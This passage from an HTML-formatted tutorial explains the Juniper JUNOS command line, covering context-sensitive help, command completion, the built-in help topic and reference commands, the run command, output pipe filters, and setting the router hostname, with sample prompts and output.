<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper#</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The # character tells that we are in operational mode.</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">and our current level in the hierarchy is displayed above the router’s hostname. The [edit] portion of the output on Juniper tells us that we are at the top of the configuration hierarchy.</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Context-Sensitive Help</span></strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The question mark (?) character gives <em>context-sensitive help </em>to navigate the command hierarchy. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">We often use the help function at a specific hierarchy level, but it also provides assistance in locating specific options within a particular level.<span style="mso-spacerun: yes;">  </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">For example, let’s locate the possible commands starting with the letter i within the show hierarchy: </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Junieper&gt; <strong>show i?</strong></span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Possible completions:</span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">igmp Show information about IGMP</span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">ike Show IKE information</span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">ilmi Show ILMI information</span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">interfaces Show interface information</span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Command Completion</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The JUNOS software CLI provides with a <em>command completion </em>function. Each unique combination of characters at a particular hierarchy level expands into the full command when we use either the spacebar or the Tab key. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper&gt; <strong>sh&lt;space&gt;</strong>ow</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper&gt; <strong>sh&lt;space&gt;</strong>ow <strong>c&lt;tab&gt;</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">^</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">&#8216;c&#8217; is ambiguous.</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Possible completions:</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">chassis Show chassis information</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper&gt; show c</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The router returns an error message telling us that there are multiple commands in the show hierarchy that start with the letter c. The output informs that &#8216;c&#8217; is ambiguous and displays the possible commands that begin with the requested letter. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Getting Help from the Router</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The <strong><em>jdocs </em></strong>Software Component package contains the entire JUNOS software documentation set on the router and is accessed through the user CLI.<span style="mso-spacerun: yes;">  </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">We can find conceptual information on network topics by using the <strong><em>help topic</em></strong> command.<span style="mso-spacerun: yes;">  </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper&gt;<strong>help topic ospf area-backbone</strong></span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Configure the Backbone Area</span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">You must create a backbone area if your network consists of multiple areas. An ABR must have at least one interface in the backbone area, or it must have a virtual link to a router in the backbone area. The backbone comprises all area border routers and all routers that are not included in any other area. You configure all these routers by including the following area statement at the [edit protocolsospf] hierarchy level (for routing instances, include the statement at the [edit routing-instances routing-instance-name protocols ospf] hierarchy level):</span></em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit protocols ospf]</span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">area 0.0.0.0;</span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Getting Help from the Router</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">When we are ready to configure our router to support an OSPF area, we can view specific configuration information using the <strong>help reference command:</strong></span></em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper&gt; <strong>help reference ospf area</strong></span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">area</span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Syntax</span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">area area-id;</span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Hierarchy Level</span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit protocols ospf],</span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit routing-instances routing-instance-name protocols ospf]</span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Description</span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Specify the area identifier for this router to use when participating in OSPF routing. All routers in an area must use the same area identifier to establish adjacencies.</span></em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> <em></em></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Specify multiple area statements to configure the router as an area border router. An area border router automatically summarizes routes between areas; use the area-range statement to configure route summarization. By definition, an area border router must be connected to the backbone area either through a physical link or through a virtual link. To create a virtual link, use the virtual-link statement.</span></em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> <em></em></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Using the <em>run </em>Command</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">One very useful command that exists in configuration mode is <strong><em>run</em></strong>. When we use this command, the router allows us access to operational mode commands from within the configuration mode.<span style="mso-spacerun: yes;">  </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">This flexibility enables us to easily verify information on the router. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper# <strong>run show interfaces</strong></span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Physical interface: so-0/0/0, Enabled, Physical link is Up</span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Interface index: 11, SNMP ifIndex: 13</span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Description: Sydney to Sao Paulo</span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Link-level type: PPP, MTU: 4474, Clocking: Internal, SONET mode,</span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Speed: OC3, Loopback: None, FCS: 16, Payload scrambler: Enabled</span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Device flags : Present Running</span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Using the Pipe through a command</span></strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">display </span></strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">This option allows the router to show you additional data associated with the command. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">except </span></strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">This option allows you to omit any line in the output containing the text string we provide. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">find </span></strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">This option prompts the router to begin the output at the first occurrence of the text string we provide. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">match </span></strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">This option prompts the router to display only lines in the output containing the text string we provide. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper&gt; <strong>show interfaces terse | match inet</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">fe-0/0/1.0 up up inet 10.0.31.1/24</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">set </span></strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">This option used in conjunction with <strong>display </strong>through two consecutive pipe through to display only lines in output containing text string which have been configured using set command </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper&gt; <strong>show interfaces terse | match at-0/2/0</strong><strong style="mso-bidi-font-weight: normal;"> | <span style="mso-bidi-font-weight: bold;">display set</span></strong> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">set<strong> </strong>interfaces at-0/2/0 unit 100 family inet address 10.0.1.1/24</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Altering the Configuration</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">We enter new information into the configuration with the <strong><em>set </em></strong>command: </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">edit]</span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@router# <strong>edit system</strong></span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit system]</span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@router# <strong>set host-name Juniper</strong></span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The router now has a hostname of Juniper instead of router. The <em>host-name </em>variable is actually in the [edit system] hierarchy directory. We used the edit command to move into that directory and then configured the hostname. We can enter multiple directory names between the variable and use the set command as long as the directories are in a direct downward line. We move back to the top of the hierarchy using <strong><em>top</em></strong> command and change the hostname to Shiraz: </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit system]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@router# <strong>top</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@router# <strong>set system host-name Shiraz</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Using the <em>set </em>Command</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">If we begin configuring the router in the [edit system] directory. The possible options at that hierarchy level are: </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit system]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@router# <strong>set ?</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Possible completions:</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">+ apply-groups Groups from which to inherit configuration data</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">+</span></strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> authentication-order Order in which authentication methods are invoked</span></span></p>
